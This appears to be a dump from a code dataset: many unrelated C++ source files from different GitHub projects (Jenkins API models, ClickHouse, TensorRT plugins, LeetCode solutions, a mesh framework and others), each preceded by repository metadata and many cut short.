clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp
cliffano/jenkins-api-clients-generator
522d02b3a130a29471df5ec1d3d22c822b3d0813
[ "MIT" ]
null
null
null
clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp
cliffano/jenkins-api-clients-generator
522d02b3a130a29471df5ec1d3d22c822b3d0813
[ "MIT" ]
null
null
null
/** * Swaggy Jenkins * Jenkins API clients generated from Swagger / Open API specification * * The version of the OpenAPI document: 1.1.2-pre.0 * Contact: blah@cliffano.com * * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). * https://openapi-generator.tech * Do not ed...
25.095745
93
0.681645
cliffano
6bfa199f566aa6577a1ecc64a17b525ad2bf62b6
970
cc
C++
raco/clib/boolean.cc
uwescience/raco
1f2bedbef71bacf715340289f4973d85a3c1dc97
[ "BSD-3-Clause" ]
61
2015-02-09T17:27:40.000Z
2022-03-28T14:37:53.000Z
raco/clib/boolean.cc
uwescience/raco
1f2bedbef71bacf715340289f4973d85a3c1dc97
[ "BSD-3-Clause" ]
201
2015-01-03T02:46:19.000Z
2017-09-19T02:16:36.000Z
raco/clib/boolean.cc
uwescience/raco
1f2bedbef71bacf715340289f4973d85a3c1dc97
[ "BSD-3-Clause" ]
17
2015-06-03T12:01:30.000Z
2021-11-27T15:49:21.000Z
#include "boolean.h" using namespace std; void BinaryExpression::PrintTo(ostream &os, int indent) { os << }; // AND, OR class BinaryBooleanExpression : public BooleanExpression { public: BinaryBooleanExpression(BooleanExpression &left, BooleanExpression &right); }; // attribute reference, literal class Valu...
20.638298
95
0.681443
uwescience
d40063445f7b2e866a5fd2549d66849d1e8b8843
9,130
cxx
C++
StRoot/RTS/src/DAQ_READER/daq_det.cxx
xiaohaijin/RHIC-STAR
a305cb0a6ac15c8165bd8f0d074d7075d5e58752
[ "MIT" ]
2
2018-12-24T19:37:00.000Z
2022-02-28T06:57:20.000Z
StRoot/RTS/src/DAQ_READER/daq_det.cxx
xiaohaijin/RHIC-STAR
a305cb0a6ac15c8165bd8f0d074d7075d5e58752
[ "MIT" ]
null
null
null
StRoot/RTS/src/DAQ_READER/daq_det.cxx
xiaohaijin/RHIC-STAR
a305cb0a6ac15c8165bd8f0d074d7075d5e58752
[ "MIT" ]
null
null
null
#include <assert.h> #include <stdlib.h> #include <stdio.h> #include <arpa/inet.h> // for htonl #include <dlfcn.h> // shared lib support #include <errno.h> #include <rtsLog.h> #include <rts.h> #include <rtsSystems.h> #include <daqFormats.h> #include <SFS/sfs_index.h> #include "daqReader.h" #include "daq_det.h" #inclu...
18.941909
92
0.609639
xiaohaijin
d401b0311be496a4de2f5d85ab831023bdfbdbc3
1,127
cpp
C++
src/Common/getHashOfLoadedBinary.cpp
evryfs/ClickHouse
a9648af0b9e2506ce783106315814ed8dbd0a952
[ "Apache-2.0" ]
18
2021-05-29T01:12:33.000Z
2021-11-18T12:34:48.000Z
src/Common/getHashOfLoadedBinary.cpp
evryfs/ClickHouse
a9648af0b9e2506ce783106315814ed8dbd0a952
[ "Apache-2.0" ]
13
2019-06-06T09:45:53.000Z
2020-05-15T12:03:45.000Z
src/Common/getHashOfLoadedBinary.cpp
evryfs/ClickHouse
a9648af0b9e2506ce783106315814ed8dbd0a952
[ "Apache-2.0" ]
22
2019-06-14T10:31:51.000Z
2020-10-12T14:57:44.000Z
#include <Common/getHashOfLoadedBinary.h> #if defined(__linux__) #include <link.h> #include <array> #include <Common/hex.h> static int callback(dl_phdr_info * info, size_t, void * data) { SipHash & hash = *reinterpret_cast<SipHash*>(data); for (size_t header_index = 0; header_index < info->dlpi_phnum; ++he...
19.101695
103
0.65661
evryfs
d404a11a464fcc6b6f19f0e860e17eb714e8cd89
580
cpp
C++
code/313.nthSuperUglyNumber.cpp
T1mzhou/LeetCode
574540d30f5696e55799831dc3c8d8b7246b74f1
[ "MIT" ]
1
2020-10-04T13:39:34.000Z
2020-10-04T13:39:34.000Z
code/313.nthSuperUglyNumber.cpp
T1mzhou/LeetCode
574540d30f5696e55799831dc3c8d8b7246b74f1
[ "MIT" ]
null
null
null
code/313.nthSuperUglyNumber.cpp
T1mzhou/LeetCode
574540d30f5696e55799831dc3c8d8b7246b74f1
[ "MIT" ]
null
null
null
class Solution { public: int nthSuperUglyNumber(int n, vector<int>& primes) { typedef pair<int, int> PII; priority_queue<PII, vector<PII>, greater<PII>> heap; for (int x : primes) heap.push({x, 0}); vector<int> q(n); q[0] = 1; for (int i = 1; i < n;) { aut...
30.526316
60
0.444828
T1mzhou
d4050a79374b147a844f73a8229e24efdd158334
1,515
cpp
C++
lang/C++/long-multiplication-2.cpp
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
5
2021-01-29T20:08:05.000Z
2022-03-22T06:16:05.000Z
lang/C++/long-multiplication-2.cpp
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
null
null
null
lang/C++/long-multiplication-2.cpp
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
1
2018-11-09T22:08:40.000Z
2018-11-09T22:08:40.000Z
#include <iostream> #include <vector> using namespace std; typedef unsigned long native_t; struct ZPlus_ // unsigned int, represented as digits base 10 { vector<native_t> digits_; // least significant first; value is sum(digits_[i] * 10^i) ZPlus_(native_t n) : digits_(1, n) { while(Sweep()); } bool Sweep() /...
22.279412
86
0.612541
ethansaxenian
d405a7d6b1fe1e212b71c061c2c22079f8b7ea5f
6,729
cpp
C++
mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp
BIGWangYuDong/mmcv
c46deb0576edaff5cd5a7d384c617478c7a73a70
[ "Apache-2.0" ]
3,748
2018-10-12T08:39:46.000Z
2022-03-31T17:22:55.000Z
mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp
BIGWangYuDong/mmcv
c46deb0576edaff5cd5a7d384c617478c7a73a70
[ "Apache-2.0" ]
1,637
2018-10-12T06:06:18.000Z
2022-03-31T02:20:53.000Z
mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp
BIGWangYuDong/mmcv
c46deb0576edaff5cd5a7d384c617478c7a73a70
[ "Apache-2.0" ]
1,234
2018-10-12T09:28:20.000Z
2022-03-31T15:56:24.000Z
// Copyright (c) OpenMMLab. All rights reserved #include "trt_corner_pool.hpp" #include <assert.h> #include "trt_serialize.hpp" void CornerPoolForwardLauncher_float(const float *input, float *output, const int batch_size, const int channels, c...
30.866972
80
0.706346
BIGWangYuDong
d406ab5d47fb3cb97cf34ef4173bd3fd2a9e1c0f
3,442
cpp
C++
sample/win/mirror2/main.cpp
jjzhang166/glesbox
36f01e721bf15532476b9aca6b601ed6e9ef81f0
[ "MIT" ]
null
null
null
sample/win/mirror2/main.cpp
jjzhang166/glesbox
36f01e721bf15532476b9aca6b601ed6e9ef81f0
[ "MIT" ]
null
null
null
sample/win/mirror2/main.cpp
jjzhang166/glesbox
36f01e721bf15532476b9aca6b601ed6e9ef81f0
[ "MIT" ]
null
null
null
/** * FacialExpression can [only] be run in video or continuous * image sequence model and [only] track the biggest face */ #include <algorithm> #include <iostream> #include "opencv2/opencv.hpp" #include "glesbox.hpp" #include "simpleimage.hpp" #ifdef _WIN32 #include <windows.h> #endif #define repeatii(cnt) for ...
25.124088
68
0.625799
jjzhang166
d406cfa8ddc50b9e3fdcadc2e7148ba31e84f383
4,150
cc
C++
pc/parallel-examples.cc
kyawakyawa/cpp-junk-parts
f56432e9a097d4b151803164cd6847ef152b8e16
[ "MIT" ]
null
null
null
pc/parallel-examples.cc
kyawakyawa/cpp-junk-parts
f56432e9a097d4b151803164cd6847ef152b8e16
[ "MIT" ]
null
null
null
pc/parallel-examples.cc
kyawakyawa/cpp-junk-parts
f56432e9a097d4b151803164cd6847ef152b8e16
[ "MIT" ]
null
null
null
/* MIT License Copyright (c) 2020 kyawakyawa Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, dis...
34.87395
80
0.674217
kyawakyawa
d40836612262ec02331c7db24a6bc7cc357501af
849
cpp
C++
ACM-ICPC/9506.cpp
KimBoWoon/ACM-ICPC
146c36999488af9234d73f7b4b0c10d78486604f
[ "MIT" ]
null
null
null
ACM-ICPC/9506.cpp
KimBoWoon/ACM-ICPC
146c36999488af9234d73f7b4b0c10d78486604f
[ "MIT" ]
null
null
null
ACM-ICPC/9506.cpp
KimBoWoon/ACM-ICPC
146c36999488af9234d73f7b4b0c10d78486604f
[ "MIT" ]
null
null
null
#include <cstdio> #include <vector> using namespace std; int main() { while (true) { int n, sum = 0; vector<int> v; scanf("%d", &n); if (n == -1) { return 0; } for (int i = 1; i < n; i++) { if (n % i == 0) { ...
21.225
49
0.273263
KimBoWoon
d40b6372a4aeb000492fc57093b04f3bff51ddc3
15,032
cpp
C++
view/src/context_menu/trade_config_context_menu_handler.cpp
Rapprise/b2s-trader
ac8a3c2221d15c4df8df63842d20dafd6801e535
[ "BSD-2-Clause" ]
21
2020-06-07T20:34:47.000Z
2021-08-10T20:19:59.000Z
view/src/context_menu/trade_config_context_menu_handler.cpp
Rapprise/b2s-trader
ac8a3c2221d15c4df8df63842d20dafd6801e535
[ "BSD-2-Clause" ]
null
null
null
view/src/context_menu/trade_config_context_menu_handler.cpp
Rapprise/b2s-trader
ac8a3c2221d15c4df8df63842d20dafd6801e535
[ "BSD-2-Clause" ]
4
2020-07-13T10:19:44.000Z
2022-03-11T12:15:43.000Z
/* * Copyright (c) 2020, Rapprise. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of condition...
40.408602
100
0.711016
Rapprise
d40d5d92a97a8bbb3e9203ed41475fdb1ee303fd
935
cc
C++
nlp/processed/column/RW7475.cc
lionell/laboratories
751e60d1851c45b98d1580c9631fd92afbdf02b0
[ "MIT" ]
2
2019-10-01T09:41:15.000Z
2021-06-06T17:46:13.000Z
nlp/processed/column/RW7475.cc
lionell/laboratories
751e60d1851c45b98d1580c9631fd92afbdf02b0
[ "MIT" ]
1
2018-05-18T18:20:46.000Z
2018-05-18T18:20:46.000Z
nlp/processed/column/RW7475.cc
lionell/laboratories
751e60d1851c45b98d1580c9631fd92afbdf02b0
[ "MIT" ]
8
2017-01-20T15:44:06.000Z
2021-11-28T20:00:49.000Z
#include <bits/stdc++.h> using namespace std; int b, sum,m[10000000], a,d=0,xo,mx=0,x1,x2,h1,h2,k=0,i,j; long long ans=0; int main () { ios_base::sync_with_stdio(0); cin.tie(0); long long f; cin>>a; for(i=1;i<=a;i++) { cin>>m[i]; if(m[i]>=mx){mx=m[i];xo=i;} }...
16.403509
60
0.364706
lionell
d40f21d6775a42dae7fcaac790f813dc79748474
15,036
cpp
C++
src/Front/GeneralTextEdit/gentextedit.cpp
Igisid/Breeks-desktop
0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6
[ "Apache-2.0" ]
10
2020-12-20T15:32:20.000Z
2021-07-12T18:09:57.000Z
src/Front/GeneralTextEdit/gentextedit.cpp
Igisid/Breeks-desktop
0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6
[ "Apache-2.0" ]
2
2022-01-04T12:51:00.000Z
2022-01-04T14:40:19.000Z
src/Front/GeneralTextEdit/gentextedit.cpp
Igisid/Breeks-desktop
0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6
[ "Apache-2.0" ]
3
2020-12-22T02:50:11.000Z
2021-02-24T01:58:11.000Z
#include "gentextedit.h" #include <iostream> #include <QDebug> #include <QApplication> #include <QClipboard> #include <algorithm> #include <QPainter> #include <QScrollBar> RussianDictionary *GenTextEdit::rusDic_ = new RussianDictionary(); GenTextEdit::GenTextEdit(QWidget *parent) : QTextEdit(parent), timer_(new ...
29.598425
104
0.617717
Igisid
d4104f501fa144fda556a4bb6e3ef6ae67576558
3,639
cc
C++
src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
[ "BSD-2-Clause" ]
2
2022-02-24T16:24:29.000Z
2022-02-25T22:33:10.000Z
src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc
PlugFox/fuchsia
39afe5230d41628b3c736a6e384393df954968c8
[ "BSD-2-Clause" ]
2
2021-09-19T21:55:09.000Z
2021-12-19T03:34:53.000Z
src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc
PlugFox/fuchsia
39afe5230d41628b3c736a6e384393df954968c8
[ "BSD-2-Clause" ]
null
null
null
// Copyright 2021 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <lib/fidl/internal.h> #include <gtest/gtest.h> TEST(WireFormatMetadata, FromOpaque) { { ::fidl::internal::WireFormatMetadata metadata = ...
36.39
95
0.679582
allansrc
d41220133c669dd40b70064305fdaa00e382d62a
995
hpp
C++
include/sampling/time_series_slice.hpp
numerodix/bmon-cpp
fae0613776b879a33e327f9ccf1d3819383634dd
[ "MIT" ]
1
2020-07-31T01:34:47.000Z
2020-07-31T01:34:47.000Z
include/sampling/time_series_slice.hpp
numerodix/bmon-cpp
fae0613776b879a33e327f9ccf1d3819383634dd
[ "MIT" ]
null
null
null
include/sampling/time_series_slice.hpp
numerodix/bmon-cpp
fae0613776b879a33e327f9ccf1d3819383634dd
[ "MIT" ]
null
null
null
#ifndef TIME_SERIES_SLICE_H #define TIME_SERIES_SLICE_H #include <unistd.h> #include <vector> #include "agg_window.hpp" #include "aliases.hpp" namespace bandwit { namespace sampling { // FIXME: should this be a struct? class TimeSeriesSlice { public: explicit TimeSeriesSlice(std::vector<TimePoint> tps, ...
28.428571
79
0.628141
numerodix
d4141327adfe48efc12d8c04a2f468df3e24ce6f
1,669
hpp
C++
msaa/deps/lpp/include/lpp/common/iteration.hpp
leddoo/raster
aa58a04e0549a44a8212b57020397587ebe51eb7
[ "MIT" ]
null
null
null
msaa/deps/lpp/include/lpp/common/iteration.hpp
leddoo/raster
aa58a04e0549a44a8212b57020397587ebe51eb7
[ "MIT" ]
null
null
null
msaa/deps/lpp/include/lpp/common/iteration.hpp
leddoo/raster
aa58a04e0549a44a8212b57020397587ebe51eb7
[ "MIT" ]
null
null
null
#pragma once #include <lpp/core/basic.hpp> namespace lpp { // TODO: these rely on range based for to be expanded as "it != end". it // would probably be more robust to actually implement != and create the // iterators with "clamping". // "monotonic" because of less than comparison. template <typ...
25.287879
94
0.541642
leddoo
d41473ece61d2dda0975c03f6dfd3943991ff72e
4,122
cc
C++
src/vnsw/agent/oper/test/test_crypt_tunnel.cc
Dmitry-Eremeev/contrail-controller
1238bcff697981662225ec5a15bc4d3d2237ae93
[ "Apache-2.0" ]
null
null
null
src/vnsw/agent/oper/test/test_crypt_tunnel.cc
Dmitry-Eremeev/contrail-controller
1238bcff697981662225ec5a15bc4d3d2237ae93
[ "Apache-2.0" ]
null
null
null
src/vnsw/agent/oper/test/test_crypt_tunnel.cc
Dmitry-Eremeev/contrail-controller
1238bcff697981662225ec5a15bc4d3d2237ae93
[ "Apache-2.0" ]
1
2020-11-20T06:49:58.000Z
2020-11-20T06:49:58.000Z
/* * Copyright (c) 2016 Juniper Networks, Inc. All rights reserved. */ #include "base/os.h" #include <sys/socket.h> #include <net/if.h> #ifdef __linux__ #include <linux/netlink.h> #include <linux/if_tun.h> #include <linux/if_packet.h> #endif #ifdef __FreeBSD__ #include <sys/sockio.h> #include <ifaddrs.h> #endif ...
29.028169
94
0.659631
Dmitry-Eremeev
d414ac5a9028e16ae6db5b92cd723cebf2ae1d19
2,973
cpp
C++
src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp
wfnex/OpenBRAS
b8c2cd836ae85d5307f7f5ca87573b964342bb49
[ "BSD-3-Clause" ]
8
2017-06-05T08:56:27.000Z
2020-04-08T16:50:11.000Z
src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp
wfnex/OpenBRAS
b8c2cd836ae85d5307f7f5ca87573b964342bb49
[ "BSD-3-Clause" ]
null
null
null
src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp
wfnex/OpenBRAS
b8c2cd836ae85d5307f7f5ca87573b964342bb49
[ "BSD-3-Clause" ]
17
2017-06-05T08:54:27.000Z
2021-08-29T14:19:12.000Z
// Purpose: This program uses ACE_FIFO wrappers to perform // interprocess communication between a parent process and a child // process. The parents reads from an input file and writes it into // the fifo. The child reads from the ACE_FIFO and executes the more // command. #include "ace/FIFO_Recv.h" #include "ace/F...
24.570248
71
0.57484
wfnex
d415c93e4991a714c0ebd646ce3e9a242627094b
6,608
cpp
C++
tests/channel.cpp
initcrash/fnpp
34e633ba6ec0fe0024f7457369040ce1e7919f5a
[ "MIT" ]
3
2015-05-06T20:34:43.000Z
2016-10-27T13:30:33.000Z
tests/channel.cpp
initcrash/fnpp
34e633ba6ec0fe0024f7457369040ce1e7919f5a
[ "MIT" ]
null
null
null
tests/channel.cpp
initcrash/fnpp
34e633ba6ec0fe0024f7457369040ce1e7919f5a
[ "MIT" ]
null
null
null
#include <cstdio> #include <vector> #include <map> #include <utility> #include <thread> #include "catch.hpp" #include <fn/iterators.hpp> #include <fn/channel.hpp> using namespace fn; TEST_CASE("Channel [int]") { auto channel = Channel<int>(3); REQUIRE_FALSE(channel.receive(0).valid()); SECTION("send one ...
23.855596
74
0.52618
initcrash
d41b9b7798acef37fa2655db3d5dd58c786e999f
3,781
cpp
C++
sky/engine/core/compositing/SceneBuilder.cpp
gitFreeByte/sky_engine
05c9048930f8a0d39c2f6385ba691eccbbdabb20
[ "BSD-3-Clause" ]
1
2021-06-12T00:47:11.000Z
2021-06-12T00:47:11.000Z
sky/engine/core/compositing/SceneBuilder.cpp
gitFreeByte/sky_engine
05c9048930f8a0d39c2f6385ba691eccbbdabb20
[ "BSD-3-Clause" ]
null
null
null
sky/engine/core/compositing/SceneBuilder.cpp
gitFreeByte/sky_engine
05c9048930f8a0d39c2f6385ba691eccbbdabb20
[ "BSD-3-Clause" ]
null
null
null
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "sky/engine/core/compositing/SceneBuilder.h" #include "sky/engine/core/painting/Matrix.h" #include "third_party/skia/include/core/SkColorFilter....
31.508333
102
0.725734
gitFreeByte
d420416b0f41711b6368aa8d8b311f6f1ecf6913
783
cc
C++
source/options.cc
JaMo42/spaceinfo
534d69d61930a858b3880ac10fc693edbe792f4e
[ "BSD-3-Clause" ]
null
null
null
source/options.cc
JaMo42/spaceinfo
534d69d61930a858b3880ac10fc693edbe792f4e
[ "BSD-3-Clause" ]
null
null
null
source/options.cc
JaMo42/spaceinfo
534d69d61930a858b3880ac10fc693edbe792f4e
[ "BSD-3-Clause" ]
null
null
null
#include "options.hh" #include "flag-cpp/flag.hh" namespace Options { bool si = false; bool raw_size = false; int bar_length = 10; unsigned history_size = 16; } const char * parse_args (int argc, const char *const *argv) { flag::add (Options::si, "si", "Use powers of 1000 not 1024 for human readable si...
27.964286
91
0.666667
JaMo42
d4207c0ef66cb65f8756179c9b37797ff1df8913
729
cpp
C++
Source/Parser/LanguageTypes/Invokable.cpp
JoinCAD/CPP-Reflection
61163369b6b3b370c4ce726dbf8e60e441723821
[ "MIT" ]
540
2015-09-18T09:44:57.000Z
2022-03-25T07:23:09.000Z
Source/Parser/LanguageTypes/Invokable.cpp
yangzhengxing/CPP-Reflection
43ec755b7a5c62e3252c174815c2e44727e11e72
[ "MIT" ]
16
2015-09-23T06:37:43.000Z
2020-04-10T15:40:08.000Z
Source/Parser/LanguageTypes/Invokable.cpp
yangzhengxing/CPP-Reflection
43ec755b7a5c62e3252c174815c2e44727e11e72
[ "MIT" ]
88
2015-09-21T15:12:32.000Z
2021-11-30T14:07:34.000Z
/* ---------------------------------------------------------------------------- ** Copyright (c) 2016 Austin Brunkhorst, All Rights Reserved. ** ** Invokable.cpp ** --------------------------------------------------------------------------*/ #include "Precompiled.h" #include "LanguageTypes/Invokable.h" Invokable::In...
27
79
0.500686
JoinCAD
d4269f5f60e3ac334285c2efa78f5c9b0ba56924
730
cpp
C++
Libs/MainWindow/glfwLibrary.cpp
dns/Cafu
77b34014cc7493d6015db7d674439fe8c23f6493
[ "MIT" ]
3
2020-04-11T13:00:31.000Z
2020-12-07T03:19:10.000Z
Libs/MainWindow/glfwLibrary.cpp
DNS/Cafu
77b34014cc7493d6015db7d674439fe8c23f6493
[ "MIT" ]
null
null
null
Libs/MainWindow/glfwLibrary.cpp
DNS/Cafu
77b34014cc7493d6015db7d674439fe8c23f6493
[ "MIT" ]
1
2020-04-11T13:00:04.000Z
2020-04-11T13:00:04.000Z
/* Cafu Engine, http://www.cafu.de/ Copyright (c) Carsten Fuchs and other contributors. This project is licensed under the terms of the MIT license. */ #include "glfwLibrary.hpp" #include "ConsoleCommands/Console.hpp" #include "GLFW/glfw3.h" #include <stdexcept> using namespace cf; static void error_callback(int er...
19.72973
67
0.7
dns
d42b299286fa86f457b858ee8a7f5e9b3cdfab31
532
cpp
C++
Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp
mohitkhedkar/Competitive-programming
85d08791002363c6a1104b6b51bf049489fd5257
[ "MIT" ]
2
2020-10-22T15:37:14.000Z
2020-12-11T06:45:02.000Z
Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp
mohitkhedkar/Competitive-programming
85d08791002363c6a1104b6b51bf049489fd5257
[ "MIT" ]
null
null
null
Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp
mohitkhedkar/Competitive-programming
85d08791002363c6a1104b6b51bf049489fd5257
[ "MIT" ]
null
null
null
#include<bits/stdc++.h> using namespace std; int main() { // your code goes here int t; cin>>t; while(t--) { int n,d; cin>>n>>d; int a[n]; for(int i=1;i<=n;i++) { cin>>a[i]; } int risk=0,not_risk=0; for(int i=1;i<=n;i++) { if(a[i]>=80 || a[i]<=9){ ...
16.121212
75
0.426692
mohitkhedkar
d42d07c26490dd22e48d97e09597a120bbe7ebfe
45,473
cc
C++
NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc
scottkwarren/config-db
fb5c3da2465e5cff0ad30950493b11d452bd686b
[ "MIT" ]
1
2019-01-17T20:07:23.000Z
2019-01-17T20:07:23.000Z
NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc
scottkwarren/config-db
fb5c3da2465e5cff0ad30950493b11d452bd686b
[ "MIT" ]
null
null
null
NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc
scottkwarren/config-db
fb5c3da2465e5cff0ad30950493b11d452bd686b
[ "MIT" ]
null
null
null
/** @file @brief Implementation of the non-iterator parts of the ParFUM-Iterators layer @author Isaac Dooley @author Aaron Becker @todo add code to generate ghost layers @todo Support multiple models @todo Specify element types to be used via input vector in meshModel_Create */ #include "ParFUM_Ite...
36.320288
404
0.635696
scottkwarren
2d6b75e40d6908cef5f34cc874ffc0696777c42f
1,988
cpp
C++
cpp/tests/utilities_UT.cpp
MinesJA/meshNetwork
5ffada57c13049cb00c2996fe239cdff6edf6f17
[ "NASA-1.3" ]
133
2017-06-24T02:44:28.000Z
2022-03-25T05:17:00.000Z
cpp/tests/utilities_UT.cpp
MinesJA/meshNetwork
5ffada57c13049cb00c2996fe239cdff6edf6f17
[ "NASA-1.3" ]
null
null
null
cpp/tests/utilities_UT.cpp
MinesJA/meshNetwork
5ffada57c13049cb00c2996fe239cdff6edf6f17
[ "NASA-1.3" ]
33
2017-06-19T03:24:40.000Z
2022-02-03T20:13:12.000Z
#include "tests/utilities_UT.hpp" #include <gtest/gtest.h> #include <iostream> #include <unistd.h> #include <string> namespace util { Utilities_UT::Utilities_UT() { } void Utilities_UT::SetUpTestCase(void) { } void Utilities_UT::SetUp(void) { } TEST_F(Utilities_UT, hashElemen...
30.584615
134
0.555835
MinesJA
2d6c1457d640b0b9a5a7bb7449222b328397bb5a
4,181
cpp
C++
sd_log.cpp
jekhor/pneumatic-tc-firmware
a532d78a154cc963d98c239c916485f5383f3dcf
[ "CC-BY-3.0" ]
1
2018-10-08T13:28:32.000Z
2018-10-08T13:28:32.000Z
sd_log.cpp
jekhor/pneumatic-tc-firmware
a532d78a154cc963d98c239c916485f5383f3dcf
[ "CC-BY-3.0" ]
9
2019-08-21T18:07:49.000Z
2019-09-30T19:48:28.000Z
sd_log.cpp
jekhor/pneumatic-tc-firmware
a532d78a154cc963d98c239c916485f5383f3dcf
[ "CC-BY-3.0" ]
null
null
null
#include <SPI.h> #include <SdFat.h> #include <errno.h> #include "sd_log.h" #include "common.h" #define SPI_SPEED SD_SCK_MHZ(8) const uint8_t sd_CS = 10; static bool sdReady = 0; SdFat sd; SdFile root; static SdFile dataFile; static SdFile rawLogFile; static bool dataFileOpened = 0; static bool rawFileOpened = 0; s...
17.348548
91
0.651519
jekhor
2d6d97a78b074c005566715494b8152f51378362
470
cpp
C++
1-8-4z.cpp
Kaermor/stepik-course363-cpp
7df3381ee5460565754745b6d48ed3f1324e73ef
[ "Apache-2.0" ]
null
null
null
1-8-4z.cpp
Kaermor/stepik-course363-cpp
7df3381ee5460565754745b6d48ed3f1324e73ef
[ "Apache-2.0" ]
null
null
null
1-8-4z.cpp
Kaermor/stepik-course363-cpp
7df3381ee5460565754745b6d48ed3f1324e73ef
[ "Apache-2.0" ]
null
null
null
// // Created by grey on 22.10.2019. // #include <iostream> using namespace std; void foo_1_8_4z(){ int n; cin >> n; char a[n][n]; for (int i = 0; i < n; ++i) { for (int j = 0; j < n; ++j) { if (i == j || j == n/2 || i == n/2 || i + j == n - 1){ a[i][j] = '*'; ...
18.076923
66
0.308511
Kaermor
2d6e9fc72292cfb048c0a97929ab110415a92fe3
11,839
cpp
C++
src/ClickMap.cpp
ebshimizu/node-compositor
4d1f3fea34e19c683e71e29036a18a28de33ec0d
[ "MIT" ]
null
null
null
src/ClickMap.cpp
ebshimizu/node-compositor
4d1f3fea34e19c683e71e29036a18a28de33ec0d
[ "MIT" ]
1
2021-09-01T02:37:58.000Z
2021-09-01T02:37:58.000Z
src/ClickMap.cpp
ebshimizu/node-compositor
4d1f3fea34e19c683e71e29036a18a28de33ec0d
[ "MIT" ]
null
null
null
#include "ClickMap.h" namespace Comp { PixelClickData::PixelClickData(int length) { _activations.resize(length); for (int i = 0; i < _activations.size(); i++) { _activations[i] = false; } _count = 0; } PixelClickData::PixelClickData(const PixelClickData & other) { _activations = other._activations; ...
27.92217
142
0.617789
ebshimizu
2d7055704f9f08256a77033ae6119cf4dc222a53
7,699
cpp
C++
src/commands.cpp
Bobscorn/match-making
f3d280086fe1de34b4faac853c8d69721371fd98
[ "Unlicense" ]
4
2021-12-24T07:58:02.000Z
2022-03-03T17:13:46.000Z
src/commands.cpp
Bobscorn/match-making-server
f3d280086fe1de34b4faac853c8d69721371fd98
[ "Unlicense" ]
27
2021-12-18T20:59:10.000Z
2022-03-06T02:46:11.000Z
src/commands.cpp
Bobscorn/match-making-server
f3d280086fe1de34b4faac853c8d69721371fd98
[ "Unlicense" ]
null
null
null
#include "commands.h" #include "interfaces.h" #include "client.h" #include "filetransfer.h" #include <string.h> #include <string> #include <sstream> Commands Commands::_singleton = Commands(); bool Commands::commandSaidQuit( std::string input_message, std::unique_ptr<IDataSocketWrapper>& peer_socket, c...
36.661905
182
0.596571
Bobscorn
2d73e45d9cbdae04872b0a94ab0ea895ec28f591
4,213
hpp
C++
Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp
MarkStega/CQC
c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07
[ "MIT" ]
51
2020-12-26T18:17:16.000Z
2022-03-15T04:29:35.000Z
Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp
MarkStega/CQC
c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07
[ "MIT" ]
null
null
null
Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp
MarkStega/CQC
c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07
[ "MIT" ]
4
2020-12-28T07:24:39.000Z
2021-12-29T12:09:37.000Z
// // FILE NAME: CQCTreeBrws_ChangeDrvSrvDlg.hpp // // AUTHOR: Dean Roddey // // CREATED: 10/02/2016 // // COPYRIGHT: Charmed Quark Systems, Ltd @ 2020 // // This software is copyrighted by 'Charmed Quark Systems, Ltd' and // the author (Dean Roddey.) It is licensed under the MIT Open Source // license: // // htt...
33.436508
88
0.411108
MarkStega
2d73e57208714aeedd1889bbd7ccc1662e1c9eb9
4,119
cpp
C++
src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp
Peixinho/Pyros3D
d6857ce99f3731a851ca5e7d67afbb13aafd18e0
[ "MIT" ]
20
2016-02-15T23:22:06.000Z
2021-12-07T00:13:49.000Z
src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp
Peixinho/Pyros3D
d6857ce99f3731a851ca5e7d67afbb13aafd18e0
[ "MIT" ]
1
2017-09-04T00:28:19.000Z
2017-09-05T11:00:12.000Z
src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp
Peixinho/Pyros3D
